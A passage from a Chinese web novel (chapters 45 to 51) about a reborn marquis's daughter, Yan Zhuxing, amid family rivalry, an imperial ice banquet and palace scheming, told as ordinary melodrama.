“出去,你们都出去。”她背着身子,不想让家里人瞧见自己如今这副狼狈的模样。
“明月,别哭了,二哥这就给你报仇去!”晏明修急得团团转。
他没想到,不过去了一趟玄空寺,未来的大嫂没了,二妹妹的脸也毁了。
“你拿什么给我报仇!”晏明月哑着嗓子呛声,抓起碎瓷片往地上狠狠一砸。
“我的脸都烂成这样了,往后连出门见人都要戴帷帽!若是同时和姐姐一块出门,恐怕人人都会赞姐姐貌若天仙。我呢?顶着这张烂脸,恐怕看门的小厮都要啐一口唾沫!”
“那我便帮你也毁了她的脸。”晏明修脱口而出。
晏明月止住了哭声,缓缓转过身,但还是没有松开捂着脸的手。
“当真?”
“嗯!”晏明修重重点头。
“你放心,我还会去请各种名医来医治你的脸,一定不会让你留下疤痕。”
一旁的温如霜沉
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默着一言不发。
她恨透了晏逐星,若是真能将她的容貌毁了,倒也算消了她的心头之气。
唯有晏明远露出了不赞同的表情。
“明月的脸,是软舆出问题才摔伤的,跟星儿有什么关系?”
剩下三个人齐刷刷瞪过来。
这倒是头回有人替晏逐星说话,空气都凝住了。
晏明月松开了手,露出糊满褐色药膏的脸,颤抖着声音问:“大哥,我才是你的亲妹妹。你也要和爹爹一样,不管我,反倒去护着姐姐了么?”
晏明远看着自己的亲妹妹,露出了失望的神色。
他好像头一回认识她。
他沉声道:“你的脸受伤了,就要毁掉姐姐的?世上哪有这样的道理。你不觉得这样太恶毒了吗。”
“大哥,你说我恶毒?”晏明月不可思议地看着他,没想到有朝一日竟然在亲兄长的口中听到了这样的判词。
“大哥,你怎么能这样说明月。她在外边吃了那么多年的苦,是晏逐星顶替她过上了金枝玉叶的生活,她欠明月的。”晏明修站出来维护妹妹。
“这几年星儿做得还不够多吗。”说到这,晏明修有些羞愧地低下了头。
昨日回府后,他因为没有及时护住妹妹,败坏了侯府的名声,被二弟和母亲斥责。
父亲还请了家法,抄起藤条抽得他后背皮开肉绽。
入夜后他趴在冷硬的床板上,听着小厮汇报,说母亲正为明月流泪,二弟正张罗着给妹妹寻祛疤膏。
而他被抽烂的脊背火辣辣地疼,无人在意。
没过多久,晏逐星身边那个小丫鬟悄悄送来一瓶药膏。
那是宫中才有的玉肌膏,价值千金。
他很是不解,最后拖着受伤的身体亲自去了玉澜院问她。
“今日之事,你不恨我么,为何还要给我送药?”
而晏逐星的回答让他始料未及。
第46章 娶她当王妃
“怎么会不恨呢。”晏逐星垂下了头。
“可是再恨,我也忘不了过去那些事情。”
“五岁时,我打碎父亲最爱的砚台,你抢着说是自己失手替我揽下了罪名,被父亲罚去跪祠堂,跪到膝盖肿得走路都一瘸一拐。”
“七岁踏青游,我惊了马,是你把我护在怀里滚下山坡,自己在床上躺了三个月。”
“九岁那年冬至,我和二哥吵架偷溜出府,你顶着大雪找了我三个时辰,自己烧得说胡话手里却还攥着给我买的糖人不放。”
“直到,二妹妹被找回来……”
晏逐星说到后面声音开始发抖。
被她提醒,晏明远也想起了那些封存在记忆里的往事。
在明月回来前,他确实最宠这个妹妹。
是从什么时候开始,他们兄妹的关系变得这么僵了?
“算了。说那些没有意义,反正药没问题。就当还了你从前对我的照顾。”晏逐星吸了吸鼻子,“晏大少爷,以后咱们两清了。”
这话让晏明远蓦地慌乱起来。
像是幼时眼睁睁看着最喜爱的纸鸢挣断丝线,飘飘摇摇融进云里,再也找不回来。
他还想说什么,但又不知道该说什么。
沉默片刻后,晏逐星让人客客气气地将他请出了院子。
“她做什么都是应该的!都是她欠明月的!”晏明修凶狠地打断了他的回忆。
“大哥,你也不要我了吗?”晏明月眼泪掉下来,嘴唇发白。
晏明远忙摇头,将怀中的药小心翼翼地递给她:“胡说什么!你永远是我的妹妹。有了这玉肌膏,你就不用担心脸上留疤了。”
“玉肌膏?这不是宫里才有的么?”晏明月脱口而出。
“嗯。这是星儿给我的。但我伤的是背,我觉得还是你更需要它。”晏明远点了点头。
“那野丫头存心的吧?有玉肌膏怎么不早点送来。”晏明修一脚踹翻了旁边的椅子。
“我看她分明就是故意希望明月脸上留疤。”
晏明月将玉肌膏塞回晏明远手里,怯生生道:“姐姐给你的,我不能要。免得她看到了不高兴。”
“她有什么可不高兴的。这么一小罐子够谁用,你等着,待会我就去找她把剩下的都要来。”晏明修一听这话可就不乐意了。
“皇后娘娘只赏赐了她一罐,她已经全给我了。你还去找她有什么。”晏明远抬手拦住了弟弟。
随后严肃着一张脸看向晏明月。
“星儿为什么不直接把东西给你,你不知道吗?每次她给你的东西,你要么觉得她在炫耀,要么觉得她给的都是次品。”
昨晚从玉澜院失魂落魄地离开后,他趴在床上,睡意全无。
他想了很多事情。
晏明月回来之后,总是动不动就哭,他们很多时候都会误会是晏逐星欺负了她。
可实际上,他们从来没有当面瞧见两人发生冲突。
每一次都是晏明月一哭,大家就去哄她了。
没有人在意晏逐星的感受。
他心底一阵钝痛。
那也曾经是他从小宠到大的妹妹啊。
结果呢,他竟然让她吃了那么多的苦。
甚至邀请她去玄空寺,也是出于算计的目的。
怪不得她连一句大哥都不愿意喊,要用“晏大少爷”来跟他划清界限。
“大哥,你竟然这么想我?”晏明月脸色白得更难看了。
晏明修看到她这副模样,气得想要和大哥动手。
结果他却转身就走了,只留下了一句话:“随你们吧,这玉肌膏若是不要,我便还给星儿了。”
温如霜没想到长子竟然也倒戈到了晏逐星那边。
她心下有些发寒。
不知不觉中,好像一切都变了。
先是侯爷,后是长子。
晏逐星在一步一步瓦解他们。
晏明月见他走得干脆,顿时慌了。
她只是想以退为进啊,怎么大哥不像从前一样哄她,非要她收下不可,竟然直接就拿走了。
她赶忙看向晏明修:“二哥,大哥生我的气了,我的脸怎么办?”
“等着,我这就去把那玉肌膏给你拿回来。”晏明修追了出去。
屋内只剩了温如霜母女二人。
晏明月抿着唇,看向了母亲。
先前她是真的想死,可如今大哥竟然也偏向了晏逐星,她反倒被激起了胜负欲。
不想寻**。
“你不该动那个软舆的。”温如霜叹了一口气。
晏明月脑袋一片空白,她没想到母亲已经不能动弹了,竟然还知道事情是
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她做的。
“娘亲,你,你怎么知道的?”她结结巴巴地开口。
温如霜:……
女儿这点伎俩,都是她从前玩剩下的,她能不清楚么。
但她不能这么说。
她清了清嗓子:“不重要,你只需要记住,晏逐星已经不是从前的晏逐星了。你不是她的对手,不要去招惹她,好好养伤才是要紧事。”
晏明月有些不服气,这一次是她大意了。
等下一次她做好万全的准备,一定不会输给晏逐星。
但看到母亲严厉的目光,她还是老老实实地点了点头。
等她康复了再说。
到时候,她一定要晏逐星付出代价。
她不想听母亲继续说晏逐星的事情,于是转移了话题,问出了自己最关心的问题:“娘亲,我当真要嫁给威宁侯做平妻么?”
“此事还得再议。”说到这个,温如霜也很烦躁。
威宁侯夫人钱氏撞柱后,两家的梁子就彻底结下了。
别说结亲,不结仇就不错了。
可若是不让女儿嫁去威宁侯府,她这脸能不能恢复还不确定。
万一到时候真的毁容了,再加上落水一事,恐怕一辈子都嫁不出去,最后只能绞了头发当姑子去。
*
定远侯府的闹剧都被衔蝉整理成信,传回了永安王府。
停云忍不住嘀咕:“这晏二小姐也太可怜了,豆蔻年华就毁了容,还要被迫嫁给一个比自己大二十岁的老男人。”
谢翊宁斜睨了他一眼:“若不是她心术不正想要先害别人,又怎么会自作自受。”
停云有些迟疑地点了点头:“话是这么说没错,但晏大小姐的手段会不会太狠辣了些?”
谢翊宁有些嫌弃地看了他一眼。
“她这是聪慧,能够以小博大。若她身居高位,有权有势,对付这种腌臜货色直接拖去乱葬岗便是,何需费这些周章,耽误时间。”
停云:……
他就不该说这个话。
在王爷眼里,晏大小姐做什么都是对的。
恐怕哪日晏大小姐用刀子捅了人,他也会夸她捅出来的伤口漂亮。
终于,他还是忍不住发出了和皇后一样的疑惑。
“王爷,您是不是心悦于她,想要娶她当王妃呀?”
第47章 你竟然敢来
“胡说八道!这种话以后莫要再提。”谢翊宁皱眉呵斥。
“我与晏大小姐清清白白,从无私情,你这话若是传出去,知不知道会给她带来多少麻烦。”
停云挠了挠头:“可您总是护着她,难免让人想多嘛。”
谢翊宁认真思索起他的话,点了点头:“你说得有道理,这样下去难免会让人误会。到时候没人敢跟她提亲怎么办。”
停云:……
他真想说王爷您多虑了。
就晏大小姐现在的名声,谁会跟她提亲啊。
谢翊宁眼前一亮:“不如让父皇赐她为郡主吧,这样的话,就算我不出面,也没人敢欺负她了。”
停云无语凝噎:“……您当郡主之位是白菜饺子呢,随便就赏一个出去。”
“这倒也是。得想办法让她立个功,到时候父皇就可以名正言顺地封赏她了。”谢翊宁考虑得十分周全。
停云叹气。
行吧,不管说什么,王爷总归是要护着晏大小姐就对了。
“你叹什么气啊。”谢翊宁拍了拍他的肩膀,笑得肆意张扬。
“放心吧,我绝对不会厚此薄彼的。在我死之前,我会把你们都安顿好的。”
屋内的氛围陡然变得悲伤了起来。
停云抿唇道:“王爷洪福齐天,才不会死。”
“不会死的是老王八。”谢翊宁嗤笑一声。
“行了,不说这些了,照夜那边有没有新消息传回来。”
提起正事,他脸色顿时变得凝重。
他将上辈子近期会发生的大事都写了下来,派人去一件一件去验证。
若是准确了,他得告知父皇早做防范。
“约莫就这几日了。”停云估算着时间给了一个回答。
随后,他又想起了一个事,赶忙道:“对了王爷,那明日的冰嬉宴,您还去么?”
“不去了,每年都是那些把戏,看倦了。”谢翊宁拒绝了。
北风吹来,廊下的灯笼随风摇曳。
月落日升,窗外已换了天地。
冰嬉宴正式开宴。
今年的宴会格外热闹。
虽然定远侯府和威宁侯府都无人来参加这次宴会,但关于他们的话题却是从未断过。
“你们说,威宁侯夫人会妥协么?”
“不知道。反正是我我宁可和离。跟一个和自己女儿差不多大的人姐妹相称,我可做不到。”
“和离不就是给人家让位置么,我可不愿意。要么当妾,平妻想都别想。”
“但那可是定远侯府的二小姐啊。一个嫡女做妾,这怎么可能。”
话题转移到了定远侯府上。
礼部尚书的夫人陈氏忍不住开口:“你们说定远侯府是不是招惹了什么不干净的东西,不然怎么会那么倒霉。”
“那还用说,他们府里全是脏东西。所以遭了这些劫难,都是报应。”卫国公夫人窦淑容一脸嫌弃地开口。
众人露出疑惑的表情。
定远侯府什么时候惹了卫国公夫人?
“马上就过年了,有些人还是给自己积点口德吧。”烈国公夫人赵玉润冷哼一声。
“赵玉润,你说谁不积口德呢。”窦淑容立刻望了过来。
“人家定远侯府可没招惹你,这般诛心之言也说得出口?”赵玉润丝毫不怵她。
“你和定远侯府什么关系,不会真像传言说的那样,你儿子占了晏逐星那野丫头的便宜,所以你心虚想要替她说话吧。”窦淑容眉毛一挑,露出一副尖酸刻薄的表情。
“口口声声说世子爷占我便宜,卫国公夫人可是有证据?”
未见其人,先闻其声。
众人看了过去。
廊下锦帘微动,檀木轮椅碾过青砖的吱呀声刺破满室私语。
轮椅上的晏逐星勾着唇角,直直地看向窦淑容。
众人都有些尴尬,没想到在背地里嚼人舌根正主听到了。
而窦淑容直接伸手指着她,不可思议道:“你竟然敢来?!”
她的火气“噌”一下就冒了出来。
自打公婆和夫君去世后,卫国公府如今只剩她独掌大权,人人都要敬她三分
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唯一一次受气,就是在晏逐星那里。
她明明已经和定远侯夫人强调过,有她的宴会晏逐星不许出现,今日温如霜怎么还让这野丫头入宫了。
“当朝文武百官,官居四品及以上的官员均可携女眷参加冰嬉宴,我父乃定远侯,我出现在此有何不可?”晏逐星晏逐星指尖漫不经心拨着腕间伽南香珠。
这是皇后娘娘赏的。
她今日来,也是为了皇后娘娘。
晏逐星越淡定窦淑容就越愤怒。
她无法理解她一个不知来历的野种,怎么敢这样强硬顶撞她的。
她的怒火被晏逐星的笑容点得愈发旺盛,她失了理智怒吼:“本夫人说过,有我的地方没你,你现在就滚!”
“你当这是你卫国公府的后宅呢,你有什么资格让星儿滚。”赵玉润也来气了。
“还有,你给我说清楚,什么叫我儿占了星儿的便宜。今日不掰扯清楚,我们就请皇后娘娘做主。”
她不忍了。
窦淑容不就仗着在场的**多都没她品级高,没她家世显赫所以才这般张狂么。
她和她同样是一品诰命夫人,她倒是要看看,窦淑容能把她怎么着。
*
永安王府里。
谢翊宁正躺在躺椅上,一手给趴在自己身上的白猫顺**,一手捧着书闲看着,好不快活。
忽然见停云急匆匆地走了进来。
“王爷,晏大小姐去了冰嬉宴,卫国公夫人要赶她出宴会。”
“备马,入宫。”谢翊宁毫不犹豫地起身,将猫儿交给了下人,迅速披上大氅就要出门。
停云:……
说好的冰嬉宴无聊不去呢!
他就知道,一提晏大小姐王爷就会改主意。
他认命地去将马儿牵来,跟着王爷一块入了宫。
谢翊宁抵达冰嬉宴时,晏逐星已经不见了身影。
和她起争执的卫国公夫人也不在。
他心头咯噔一跳。
不会吧,他只是晚来一步,他的小救命恩人就被赶走了吗?
第48章 抱上大腿了
一刻钟前。
卫国公夫人窦淑容和烈国公夫人赵玉润起了争执。
在场的贵夫人们试图想要劝解,但这两人谁也不让谁。
就在场面僵持不下之际。
皇后身边的吴嬷嬷来了,她笑眯眯地将手里的暖炉塞给了晏逐星。
“姑娘,天寒地冻的,您来了怎么也不遣人同老奴说一声。皇后娘娘正等着您呢。”
这亲昵的语气和态度,让在场所有人一怔。
尤其是窦淑容,那个表情几乎跟见鬼了一样。
皇后娘娘为何待这个野丫头这么亲厚?
“是我的错,让皇后娘娘久等了。”她柔声回应吴嬷嬷,而后看向了烈国公夫人。
“干娘,皇后娘娘寻我,我先过去了。待会冰嬉宴结束了,咱们一块回去吧,我给您和哥哥都带了东西,在马车上呢。”
“好。干娘等你!”烈国公夫人笑了起来,眉眼间满是欣慰。
“嬷嬷,咱们走吧。”晏逐星轻轻拍了拍轮椅的把手。
身后的衔蝉会意,推着她跟上了吴嬷嬷。
她一走,便有夫人忍不住问烈国公夫人,她和晏逐星是什么关系,为何晏逐星要称呼她为干娘。
“上回威宁侯府做客,这孩子投了我的眼缘。我见她懂事乖巧,行事进退有度,心生欢喜,便和夫君商议后打算将她认作义女。只是近来有事耽搁了,认亲宴还没办上。打算等年后,再邀诸位一同来乐呵乐呵。”
烈国公夫人说着眼尾的笑纹深了几许,显然对晏逐星十分满意。
众人落在窦淑容身上的目光就变得微妙了许多。
皇后和烈国公夫人都对定远侯府大小姐另眼相待,怎么就她一个人厌恶人家呢。
窦淑容听到这话,头发都要气得倒竖起来了。
性子乖巧懂事?行事进退有度?
这哪个词和晏逐星有关系。
但她也意识到了,不能继续大发脾气,不然今日沦为笑柄的就是她了。
但她面对众人那些打探的目光,依旧如坐针毡。
她狠狠掐了自己一把,扫了一眼弟妹阮氏。
“二弟妹,我有些头晕。”
阮氏忙道:“那咱们赶紧回府吧。”
她立刻示意丫鬟搀扶窦淑容,随后去给皇后娘娘知会一声,得了许可后,急匆匆地离开了宴会现场。
因而这会谢翊宁赶到时,晏逐星和卫国公夫人都不在场了。
“王爷,皇后娘娘有请。”就在他四下张望时,皇后身边的大宫女云黛走了过来。
谢翊宁略一思索,冲着停云压低声音道:“你打听打听她去了哪里。”
虽然没有明说。
但二人心知肚明,他说的是谁。
“是。”停云认命应下。
谢翊宁跟着云黛走了。
刚准备行礼,他就看到了坐在母后身旁的人。
晏逐星端坐在轮椅上,指尖还捏着半块芙蓉酥,腮帮子微微鼓起,模样有些像他养在王府里的那只猫儿。
皇后看了一眼晏逐星,而后揶揄地看向怔住的儿子:“石头,你不是说这宴会每年都是那些把戏,看倦了,不来了么。”
听到这话晏逐星眼睛倏地睁圆,手中的芙蓉酥瞬间被捏掉了一块碎渣。
她赶忙收回视线。
什么,永安王竟然有这么一个朴实无华的小名。
不知道为什么,这个小名被她听到,谢翊宁莫名有些羞耻,耳根微微有些发红。
皇后露出了然的神情。
知子莫若母。
石头肯定喜欢定远侯府的这位大姑娘,只是他自己还不知道罢了。
她可没见过石头什么时候对姑娘这么上心。
“这不是想着进来陪陪您么。”谢翊宁见她安然无恙地陪在母后身边,知晓应该没吃什么亏,心里的石头总算落了地。
“陪我还是陪别人?”皇后继续打趣他。
“您若不想看见儿子,我走就是了。反正也确实没什么好玩的。”谢翊宁说完转身就走。
动作那叫一个干脆利落,丝毫没有留恋。
皇后被他的举动给噎住了。
这死孩子,不就是调侃了两句么,怎么这么不禁逗呀。
她倒也没有派人去追,只是扭头温和地看向了晏逐星。
“晏家丫头,先前听到本宫唤永安王石头,你是不是很惊讶啊?”
“是有一些。”晏逐星不好意思地点了点头。
皇后叹了一口气:“没办法,国师断言石头活不过及冠之年,本宫只能效仿民间百姓,他取一个好养
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活的名字。只盼他能熬过这一劫。”
晏逐星猛地想起上一世谢翊宁是和她一块死在了战场上。
那个时候的他,满二十岁了么?
按照帝后对他疼爱的程度,怎么会让他去战场呢。
她来不及细想,只得温声安慰皇后:“我曾听旁人说过,王爷十五岁春猎时,和黑熊搏斗得虎口撕裂见了骨都没放弃,最后成功猎杀了那头熊。可见王爷心志之坚定。”
“王爷当年能从黑熊掌下逃出生天,以后自然也能从国师的卦象里挣出一条生路来。”
说着她摊开了双手。
“再说了,陛下掌着山河龙气,娘娘攥着万民福泽,有你们在……”
先前打开的手“啪”一声合上。
“便是阎罗派来索命的黑白无常,也休想将王爷从您二人手中抢走。”
晏逐星的语气愈发坚定:“娘娘要相信王爷,也要相信陛下和您自己。”
皇后用帕子压了压发红的眼尾,眉眼却弯成月牙。
她又惊又喜地盯着晏逐星,忍不住在心底感慨:小石头的眼光可真好。
中意的竟然是这样一个聪慧伶俐又善解人意的好姑娘。
她不怕儿媳妇有心眼子,就怕儿媳妇是蠢人。
她看晏逐星真是越看越满意。
她笑着点头:“你说得对。石头这么优秀,一定会长命百岁的。”
见皇后娘娘笑容灿烂,晏逐星心底长长地舒了一口气。
意识到谢翊宁也是重生的之后,她便派人仔细打听了他过往所有大大小小的事情。
虽然不知道什么时候会有用,但有备无患。
瞧,这不就用上了么。
“本宫与你颇为投缘,这翡翠缠丝镯便赏你了。”皇后将手上的镯子褪下,亲自替她戴上。
“多谢皇后娘娘恩典。”晏逐星赶忙道谢。
她今日入宫,为的就是抱紧皇后娘娘的大腿,日后好继续扯这张虎皮当大旗。
如今的情况比她预计的还要圆满,她十分满意,终于有闲工夫来看那些宴会上的表演了。
她坐在皇后下首的位置,惹来了无数妒忌的目光。
“不过是一个来路不明的野丫头,怎就惹得母后这般喜爱?”一个不甘的声音响起。
第49章 她倒是聪明
“可不么。听说母后之前还想让她教十妹妹在冰嬉宴上跳破阵舞。这人都多少年没出现在宴会上了,看着也不像会跳舞的样子呀。若是真让十妹妹跟她学了,今日恐怕就要出糗了。”五公主谢娇哼了一声。
先前开口挑拨的六公主谢妙点了点头,她瞥了一眼十公主:“十妹妹。听说母后赏赐了定远侯府大小姐好几回,如今还要经常召她入宫作伴。到时候,你不会失宠吧。”
满后宫皆知,父皇最爱的就是皇后娘娘。
谁若讨好了皇后娘娘,得了皇后娘娘的青眼,就能得道升天。
连同他们的母妃也能得到父皇的几分和颜悦色。
十公主谢媞的生母夏昭仪,不就是因为和皇后娘娘关系好,因此父皇每个月总会抽出两三天时间去她宫里坐坐。
不像其他人,有时候几个月都见不着父皇一次。
她们费尽心机讨皇后娘娘喜欢,但皇后娘娘始终淡然处之。
谁知她这一回却偏偏对一个侯府之女另眼相待。
怎能让她们不嫉妒。
十公主谢媞见火烧到了自己身上,笑嘻嘻道:“皇后娘娘可疼我了,才不会不喜欢我呢。对了,五姐姐,六姐姐,快到我献艺的时候了,我先走了。”
说完她脚底抹油,直接开溜。
她才不想和他们说这些无聊的话。
到时候传出去,还不知道会变成什么样呢。
母妃说了,在后宫当中一定要管好自己的嘴巴,谨言慎行。
想要以后过得好,皇后娘娘的恩宠少不了。
说句大逆不道的,就算日后父皇不在了,皇后娘娘也能当上太后,她和母妃的荣华富贵全都系在皇后娘娘的身上。
她才不会犯傻得罪皇后娘娘呢。
见她溜得飞快,谢娇和谢妙都变了脸色。
“她倒是聪明。”谢娇冷笑一声。
原想着挑拨一下谢媞,让她出手去对付晏逐星,好让皇后娘娘厌恶谢媞,她们趁虚而入。
没想到她走得那么快。
“五姐姐,那怎么之后咱们该怎么做啊。”谢妙看向了谢娇。
她向来为谢娇马首是瞻,指哪打哪。
谁让她的生母只是一个微不足道的小宫女呢。
她出生的日子和五公主谢娇只差了半个月,生母生下她时难产而亡,皇后便命人将她送去了五公主生母苏昭仪那里,一块让乳母抚养照料。
后来两人一块长大,干脆就将她也记到了苏昭仪名下。
她知道自己不是亲生的,只能拼命讨好谢娇和苏昭仪,就怕被赶走不管。
谢娇将手里的瓜子壳一扔:“不急,先看看。说不定到时候可以借着定远侯府那位的手除掉夏昭仪。”
老十鬼灵精,明明比他们都小好几岁,可每次他们怎么挑拨她都不上当。
她若犯了错,她的生母夏昭仪也要受牵连,到时候才有她母妃的出头之日。
*
冰嬉宴有惊无险地结束了。
晏逐星被皇后娘娘命人送出宫。
烈国公夫人早就牵着儿子的手在宫门口等她了。
“妹妹,妹妹!”尉迟敦看到晏逐星,立刻露出个灿烂的笑飞奔向她。
“哥哥,慢些,莫摔了。”晏逐星赶忙抬手示意他走慢些。
“给,妹妹。”尉迟敦急忙将藏在怀里的东西掏了出来。
帕子一打开,里边包的是碎了的芙蓉酥。
“好吃,妹妹吃。”他将帕子递到晏逐星面前,眼里亮晶晶的,充满了期待。
快步跟着走过来的烈国公夫人瞧见这一幕,鼻腔有些发酸。
敦儿还记得晞儿最爱吃芙蓉酥了呀。
只是这孩子悄悄将芙蓉酥揣怀里全弄碎了。
蜜馅混着酥油凝成黄白相间的糊状,碎渣泛着冷掉的油光,看着实在有些恶心,叫人怎么吃呀。
她正欲阻止,就看到晏逐星笑眯眯地捻起一小块芙蓉酥尝了一口。
“太好吃啦,谢谢哥哥。”
“嘿嘿嘿,妹妹喜欢就好。”尉迟敦咧开嘴,笑得牙齿都露了出来。
“我也有东西要给哥哥。”晏逐星命衔蝉上马车将之前准备好的东西拿了出来。
“布老虎!”尉迟敦眼前一亮。
“对呀,哥哥喜欢吗?”晏逐星将这个约莫齐腰高的布老虎塞到了他怀里。
“喜欢。”尉迟敦重重点头,他还没见过那么大的布老虎呢。
虎须扫得他下巴痒梭梭的,尉迟敦重重点头,咧嘴一笑:“喜欢,特别喜欢。”
他将脑袋埋在布老虎身上,深深嗅了一
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口,惊喜道:“有妹妹的味道!”
尉迟敦对此爱不释手。
一旁的小厮想要替他拿着他都不肯撒手。
他看向晏逐星:“妹妹,走,回家。”
“我腿还没好呢,不能回家。你和娘亲先回家好不好?外边冷,莫要冻着了。冻病了,就要喝药了,你忘了上回喝那药有多苦了么。”晏逐星的态度依旧很温柔。
尉迟敦扁扁嘴,很不乐意,但想到喝药的痛苦,最后还是皱着眉听话地爬上了马车。
他探出脑袋:“妹妹,那你要早点回家哦。”
晏逐星笑着点了点头。
烈国公夫人攥着帕子拭了拭眼角,泪光在眼底打转。
晏逐星笑道:“您前阵子提过兄长总睡不安稳,我特意请季太医配了几味宁神药材,调了安神香填进布老虎肚里。这样哥哥夜里搂着睡,总归能睡踏实些。”
随后又让衔蝉将另一个匣子拿了出来。
“这是一对药玉暖枕。由青玉雕成中空枕匣,填入艾叶、甘松等温经药材,睡前您让丫鬟用炭盆烘热,保管您和干爹能好眠一整夜。这冬日里用着,再合适不过了。”
这个东西,是她命人九栀去截胡的。
上辈子,晏明月在冬至那日从京城的珍宝阁里买下了这一对玉枕,送给了定远侯夫妇。
他们便以此羞辱晏逐星不孝顺,一直夸晏明月知冷暖,果然还是亲生的有孝心。
这一回,晏明月毁了脸,哪里还有心思给他们准备礼物。
晏逐星正好借花献佛,让九栀将此物买来,送给烈国公夫妇。
“好孩子,你有心了。”烈国公夫人心下十分感动。
忍不住再一次感慨。
这个义女,真的是认对了。
她温声嘱咐了晏逐星几句,让她遇上什么事记得来国公府找她,方才带着儿子离开。
不远处撑着伞的晏明远看着这一幕,心里又酸又涩。
曾经那个满眼是他的妹妹,被他弄丢了。
衔蝉瞧见他,压低声音道:“小姐,是大少爷。”
晏逐星看了过去,正好和晏明远四目相对。
和她对视,晏明远下意识地收拢了手,握着伞柄的指节泛起青白,心脏扑通扑通直跳。
星儿,会叫住他么。
第50章 知道真相了
晏逐星冷漠地放下了车帘,吩咐道:“回府吧。”
晏明远可真是够贱的。
上辈子她眼巴巴讨好他们全家,他们却对她弃如敝履,还帮着晏明月一块羞辱她。
这一世,倒是想和她演兄妹情深了?
她才不稀罕呢。
上回演那一出戏,不过是为了挑拨他们的关系罢了。
晏明远提议将她骨灰卖给太傅孙子配冥婚的事情她可没忘呢,这个仇,她一定要报。
晏明远没想到她竟然就这样走了。
父亲先一步回了侯府,他担心只有两个丫鬟和一个马夫跟着她,没办法将她抬上马车,便想着带下人来接她。
谁曾想,她竟然将他当做陌路人一般视而不见。
“少爷,大小姐他们已经走远了。”竹安有些忐忑地提醒傻愣愣站在原地的自家少爷。
“罢了。先回府吧。”晏明远叹了一口气。
冰冻三尺非一日之寒。
他冷落了星儿快五年,她心里对他有怨也是正常的。
好在他及时醒悟,想来之后他们兄妹二人会重修旧好。
*
晏明月得知晏逐星跟着父亲入宫参加了冰嬉宴,在家发了好大一通脾气。
她如今容貌尽毁,只能在家躲起来,晏逐星竟然还大摇大摆地去参加宴会。
她怎能不气。
她将头上的帷帽扯了下来,重重砸到地上,气不过,还踩了两脚。
晏明远掀帘进来时正撞见这一幕。
他弯腰拾起帷帽,叹着气递到她跟前:“好妹妹,别气了。前日陈太医怎么说的。心火愈旺,脸上这疤……”
他瞥见晏明月骤然攥紧的拳头,后半句在舌尖转了个弯,“你这身子,怕康复起来就更慢了。”
“大哥,你也觉得我脸上这疤不会消了是不是?”晏明月“哇”一声哭了出来。
“怎么会。你这瞧瞧,涂了两日玉肌膏,这疤痕都淡了许多。”晏明远将铜镜递到她面前。
晏明月下意识地躲开,随后还是耐不住好奇心,接了过来,对镜打量。
“真的变淡了吗?”她不确定地询问。
“当然。”晏明远重重点头。
“没错没错,奴婢瞧着,过完年,这些疤痕就会彻底消失了。”一旁的芙儿跟着附和。
晏明月半信半疑,放下铜镜止住了眼泪。
她这才瞧见晏明远身上披着的大氅落了雪。
她狐疑地皱眉:“大哥出府了?”
晏明远点头。
“你出府去哪了?”她眉头皱得紧紧的。
晏明远思索着要不要说实话,就看到晏明修气冲冲地闯了进来。
“大哥,你怎么还去接晏逐星那个祸害,你没看到明月被她害得多惨吗。”
晏明月的脸“歘”一下变白了,随后又涨得通红,她泪意盈盈地看着晏明远,似是有无尽的委屈。
晏明远皱眉看向晏明修。
“二弟,星儿也是我们的妹妹。她腿脚不便,身边又没护卫,我身为兄长,去接她有何不可。”
“我不认她是我妹妹,我妹妹只有明月一个。”晏明修毫不客气地回答。
晏明远只觉得十分疲惫。
他不明白最初把明月接回来的时候,不是想着以后他们就有两个妹妹了吗。
为什么非要闹到如今这样势同水火,你死我活的地步。
“还有,你忘了上回她动手打我们的事情了吗?”晏明修依旧耿耿于怀。
“我倒是宁愿她再打我一次,只要她能消气就好。”晏明远自嘲一笑。
今日见到她对尉迟敦的态度。
才知道自己错过了什么。
如今她已经不把他当大哥,只把他当成侯府大少爷了。
晏明修听到这话,露出错愕的表情:“大哥,你疯了吗?”
难不成玄空寺有邪祟。
怎么一个个的,去了玄空寺回来,人就不对劲了。
“我最后说一次,明月的伤与星儿无关。”晏明远盯着二弟,随后扭头看向晏明月。
“软舆和轿夫是你派人找的,对吧?”
他尾音微微上扬,话语里暗藏的机锋让晏明月背后猛地冒出冷汗。
他知道真相了!
“大哥说得对,我和姐姐都是晏家的女儿,我们都是你们的妹妹。二哥,你莫要再这么说了,姐姐会伤心的。”她当机立断抓住了晏明修的手。
晏明远见她表态,愿意和晏逐星和平共处,松了一口气。
他不想再看到两个妹妹自相
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残杀了。
明月之所以会做出那样的事情,也只是担心她失踪了那么多年,星儿取代她的位置罢了。
如今她已经受到了惩罚,愿意改过来的话,也没必要继续深究。
“你呀,就是这么善良,才会被晏逐星欺负。”晏明修听她这么说,愈发心疼她了。
“好了二哥,你别说了。”晏明月怕晏明远将她做的蠢事说出来,赶紧阻止晏明修继续说下去。
父亲和大哥都抓不住了,她要牢牢抓住二哥。
不能让他们都偏向晏逐星那个**。
“我饿了,想吃鸡丝小馄饨。”晏明月急忙转移话题。
“好,我这就命人做了给你送来。”晏明修摸了摸她的脑袋。
“大哥,二哥,你们陪我一起吃一些吧?我一个人吃饭,总觉得没胃口。”晏明月露出了讨好的笑。
晏明修看不得她这做小伏低的样子,心疼不已。
“好,我们陪你一块吃。”他毫不犹豫地答应。
“记得给星儿也送一份去。”晏明远吩咐。
晏明修想爆发,但晏明月扯了扯他的袖子,露出哀求的神情,他只得冷哼一声,不情不愿道:“知道了。”
不多时,一大碗热腾腾的鸡丝小馄饨便送去了玉澜院。
晏逐星让衔蝉验了无毒后,直接赏给了他们几人分食。
晏明修得知自己送去的馄饨被丫鬟吃了,气得跳脚:“我就说了她不会领情吧,大哥你偏不信。”
“行了。送是我们的心意,至于吃不吃,随她意。”晏明远比从前多了许多耐心。
“疯了,我看你真是疯了。”晏明修怒气冲冲地离开。
兄弟两人不欢而散。
晏明月将此事告知了母亲,温如霜气得牙齿都快咬碎了。
晏逐星竟然挑拨得她的两个儿子差点反目。
着实可恨!
不行,她不能坐以待毙,她必须要反击,不能让晏逐星再继续得意下去。
否则,往后侯府哪里还有她这个当家主母说话的份。
不过在那之前,她得把明月送走才行。
明月留下,只会妨碍她的计划。
就在她发愁要把女儿送去何处养病时,一个绝佳的去处送上门来了。
第51章 没有说实话
“夫人,青州来人了!”李氏欣喜若狂地跑进来通报。
“谁来了?”温如霜激动地支起了上半身。
“是大夫人和韫少爷来了。”李氏得知青州温家来人,心里安慰了不少。
这些时日,侯爷从不踏足夫人的院子,总是歇在两位姨娘处。
